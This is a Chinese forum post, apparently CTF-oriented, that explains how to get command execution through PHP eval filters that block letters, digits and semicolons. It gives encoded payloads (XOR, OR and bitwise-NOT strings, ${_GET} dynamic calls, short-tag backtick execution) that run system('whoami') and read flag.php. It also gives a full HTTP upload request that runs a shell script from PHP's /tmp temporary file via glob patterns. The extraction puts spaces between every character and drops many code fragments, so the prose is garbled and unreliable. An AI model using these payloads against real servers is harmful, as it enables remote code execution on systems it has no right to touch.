可 以 直 接 使 用 反 引 号 执 行 命 令 ： 分 析 下 这 个   P a y l o a d ： 最 开 头 的 闭 合 了   e v a l ( )   函 数 自 带 的 标 签 。 接 下 来 使 用 了 短 标 签 代 替 。 里 面 包 含 的   P H P   代 码 可 以 被 执 行 ， 为 ， 最 后 将 通 过 参 数 传 入 的 值 使 用 反 引 号 进 行 命 令 执 行 。 测 试 效 果 如 下 ： 过 滤 了 分 号 过 滤 了 分 号 无 需 担 心 ， 前 面 我 们 已 经 说 了 ， P H P   短 标 签 中 的 代 码 不 需 要 写 分 号 ， 所 以 我 们 直 接 把 所 有 的   P H P   语 句 改 成 短 标 签 形 式 就 行 了 。 ( " % 1 3 % 1 9 % 1 3 % 1 4 % 0 5 % 0 d " | " % 6 0 % 6 0 % 6 0 % 6 0 % 6 0 % 6 0 " ) ( " % 0 c % 1 3 % 0 0 % 0 0 " | " % 6 0 % 6 0 % 2 0 % 2 f " ) ; ( ~ % 8 C % 8 6 % 8 C % 8 B % 9 A % 9 2 ) ( ~ % 9 3 % 8 C % D F % D 0 ) ; $ { % f f % f f % f f % f f ^ % a 0 % b 8 % b a % a b } { % f f } ( ) ; & % f f = p h p i n f o $ { % f f % f f % f f % f f ^ % a 0 % b 8 % b a % a b } { % f f } ( ) ; & % f f = p h p i n f o 即 :   $ { _ G E T } { % f f } ( ) ; & % f f = p h p i n f o / / ? s h e l l = $ { _ G E T } { % f f } ( ) ; & % f f = p h p i n f o { } $ { _ G E T } { a } { } _ G E T $ _ G E T [ ' a ' ] $ { _ G E T } { % f f } ( ) s y s t e m ( ' w h o a m i ' ) $ { % f f % f f % f f % f f ^ % a 0 % b 8 % b a % a b } { % f f } ( % f f % f f % f f % f f % f f % f f ^ % 8 8 % 9 7 % 9 0 % 9 E % 9 2 % 9 6 ) ; & % f f = s y s t e m $ { % f f % f f % f f % f f ^ % a 0 % b 8 % b a % a b } { % f f } ( % f f % f f % f f % f f % f f % f f % f f % f f ^ % 9 9 % 9 3 % 9 E % 9 8 % D 1 % 8 F % 9 7 % 8 F ) ; & % f f = r e a d f i l e $ { % f f % f f % f f % f f ^ % a 0 % b 8 % b a % a b } { % f f } ( % f f % f f % f f % f f % f f % f f % f f % f f ^ % 9 9 % 9 3 % 9 E % 9 8 % D 1 % 8 F % 9 7 % 8 F ) ; & % f f = h i g h l i g h t _ f i l e / /   即 :   / /   $ { % f f % f f % f f % f f ^ % a 0 % b 8 % b a % a b } { % f f } ( ' w h o a m i ' ) ; & % f f = s y s t e m / /   $ { % f f % f f % f f % f f ^ % a 0 % b 8 % b a % a b } { % f f } ( ' f l a g . p h p ' ) ; & % f f = r e a d f i l e / /   $ { % f f % f f % f f % f f ^ % a 0 % b 8 % b a % a b } { % f f } ( ' f l a g . p h p ' ) ; & % f f = h i g h l i g h t _ f i l e $ { ~ % A 0 % B 8 % B A % A B } { % f f } ( ) ; & % f f = p h p i n f o $ { ~ % A 0 % B 8 % B A % A B } { % f f } ( ~ % 8 8 % 9 7 % 9 0 % 9 E % 9 2 % 9 6 ) ; & % f f = s y s t e m ? > < ? = ` { $ { ~ % A 0 % B 8 % B A % A B } { % f f } } ` ? > & % f f = l s   / ? > < ? = ` { $ { ~ % A 0 % B 8 % B A % A B } { % f f } } ` ? > & % f f = l s   / 即 :   ? > < ? = ` $ _ G E T [ % f f ] ` ? > & % f f = l s   / ? > < ? < ? p h p   e c h o   . . .   ? > { } ~ % A 0 % B 8 % B A % A B _ G E T % f f ;
过 滤 了 过 滤 了 如 果 过 滤 了 ， 那 么 像 之 前 那 些 构 造 变 量 的 方 法 全 都 不 能 用 了 。 我 们 可 以 在 不 同 版 本 的   P H P   环 境 中 寻 找 突 破 。 P H P   7 在   P H P   7   中 修 改 了 表 达 式 执 行 的 顺 序 ： P H P   7   前 是 不 允 许 用 这 样 的 方 法 来 执 行 动 态 函 数 的 ， 但   P H P   7   中 增 加 了 对 此 的 支 持 。 所 以 ， 我 们 可 以 通 过 的 形 式 来 执 行 函 数 ， 第 一 个 括 号 中 可 以 是 任 意   P H P   7   表 达 式 。 所 以 很 简 单 了 ， 构 造 一 个 类 似 这 样 的   P H P   表 达 式 即 可 ， 前 面 我 们 也 已 经 涉 及 到 了 ： P H P   5 在   P H P   5   中 如 果 我 们 还 使 用 这 样 的   P H P   表 达 式 则 会 得 到 一 个 报 错 ， 原 因 就 是   P H P   5   并 不 支 持 这 种 表 达 方 式 。 所 以 ， 如 果 也 过 滤 了 的 话 ， 对 于   P H P   5   环 境 的 利 用 方 法 就 很 复 杂 了 。 此 时 我 想 到 了 两 个 有 趣 的   L i n u x   S h e l l   知 识 点 ： L i n u x   S h e l l   下 可 以 利 用 来 执 行 任 意 脚 本 L i n u x 文 件 名 支 持 用   G l o b   通 配 符 进 行 代 替 在   L i n u x   S h e l l   中 的 作 用 和 一 样 ， 就 是 在 当 前   B a s h   环 境 下 读 取 并 执 行 一 个 文 件 中 的 命 令 。 比 如 ， 当 前 运 行 的   S h e l l   是   B a s h ， 则 的 意 思 就 是 用 当 前   B a s h   执 行   f i l e   文 件 中 的 命 令 。 并 且 用 执 行 文 件 ， 是 不 需 要   f i l e   文 件 有 x 权 限 的 。 那 么 ， 如 果 目 标 服 务 器 上 有 一 个 我 们 可 控 的 文 件 ， 那 我 们 不 就 可 以 利 用 来 执 行 它 了 吗 ？ 这 个 文 件 也 很 好 得 到 ， 我 们 可 以 发 送 一 个 上 传 文 件 的   P O S T   包 ， 此 时   P H P   会 将 我 们 上 传 的 临 时 文 件 保 存 在 临 时 文 件 夹 下 ， 默 认 的 文 件 名 是 ， 文 件 名 最 后   6   个 字 符 是 随 机 的 大 小 写 字 母 。 （ 其 实 这 个 知 识 点 在   C T F   中 也 频 繁 出 镜 ， 比 如 文 件 包 含 中 的 利 用 等 ） 第 二 个 难 题 接 踵 而 至 ， 临 时 文 件 的 命 名 是 随 机 的 ， 那 我 们 该 如 何 去 找 到 他 名 执 行 呢 ？ 此 时 就 可 以 用 到   L i n u x   下 的   G l o b   通 配 符 ： ： 可 以 匹 配   0   个 及 以 上 任 意 字 符 ： 可 以 匹 配   1   个 任 意 字 符 那 么 ， 就 可 以 表 示 为 或 了 。 但 是 在 真 正 操 作 起 来 的 时 候 我 们 会 发 现 这 样 通 常 并 不 能 成 功 的 执 行 文 件 ， 而 是 会 报 错 ， 原 因 就 是 这 样 匹 配 到 的 文 件 太 多 了 ， 系 统 不 知 道 要 执 行 哪 个 文 件 。 如 果 没 有 限 制 字 母 的 话 我 们 完 全 可 以 使 用 来 提 高 匹 配 几 率 ， 但 是 题 目 限 制 的 就 是 字 母 数 字 ， 所 以 我 们 的 想 别 的 办 法 。 根 据   P H I T H O N   师 傅 的 文 章 ， 最 后 我 们 可 以 采 用 的   P a y l o a d   是 ： 最 后 的 表 示 A S C I I 在 和 之 间 的 字 符 ， 也 就 是 大 写 字 母 ， 所 以 最 后 会 执 行 的 文 件 是   / t m p   文 件 夹 下 结 尾 是 大 写 字 母 的 文 件 。 这 是 因 为 匹 配 到 的 所 有 的 干 扰 文 件 的 文 件 名 都 是 小 写 ， 唯 独 P H P   生 成 的 临 时 文 件 最 后 一 位 是 随 机 的 大 小 写 字 母 。 最 后 给 出 一 个   P a y l o a d ： 测 试 效 果 如 下 ： $ $ ( $ a ) ( ) ; ( ' p h p i n f o ' ) ( ) ; ( ' p h p i n f o ' ) ( ) ; ( " % 0 8 % 0 2 % 0 8 % 0 8 % 0 5 % 0 d " ^ " % 7 b % 7 b % 7 b % 7 c % 6 0 % 6 0 " ) ( " % 0 c % 0 8 % 0 0 % 0 0 " ^ " % 6 0 % 7 b % 2 0 % 2 f " ) ; ( " % 1 3 % 1 9 % 1 3 % 1 4 % 0 5 % 0 d " | " % 6 0 % 6 0 % 6 0 % 6 0 % 6 0 % 6 0 " ) ( " % 0 c % 1 3 % 0 0 % 0 0 " | " % 6 0 % 6 0 % 2 0 % 2 f " ) ; ( ~ % 8 C % 8 6 % 8 C % 8 B % 9 A % 9 2 ) ( ~ % 9 3 % 8 C % D F % D 0 ) ; ( ' p h p i n f o ' ) ( ) ; $ . . s o u r c e .   f i l e .   f i l e . / t m p / p h p X X X X X X .   / t m p / p h p X X X X X X * ? / t m p / p h p X X X X X X / * / ? ? ? ? ? ? ? ? ? / ? ? ? / ? ? ? ? ? ? ? ? ? / ? ? ? / p h p ? ? ? ? ? ? .   / ? ? ? / ? ? ? ? ? ? ? ? [ @ - [ ] [ @ - [ ] @ [ P O S T   / ? s h e l l = ? > < ? = ` . + / % 3 f % 3 f % 3 f / % 3 f % 3 f % 3 f % 3 f % 3 f % 3 f % 3 f % 3 f [ % 4 0 - [ ] ` % 3 b ? >   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 4 3 . 2 1 0 : 8 0 8 0 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 7 9 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 7 9 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 C o n t e n t - T y p e : m u l t i p a r t / f o r m - d a t a ; b o u n d a r y = - - - - - - - - 1 2 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C o n t e n t - L e n g t h :   1 0 9 - - - - - - - - - - 1 2 3 C o n t e n t - D i s p o s i t i o n : f o r m - d a t a ; n a m e = " f i l e " ; f i l e n a m e = " 1 . t x t " # ! / b i n / s h l s   / - - - - - - - - - - 1 2 3 - -
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理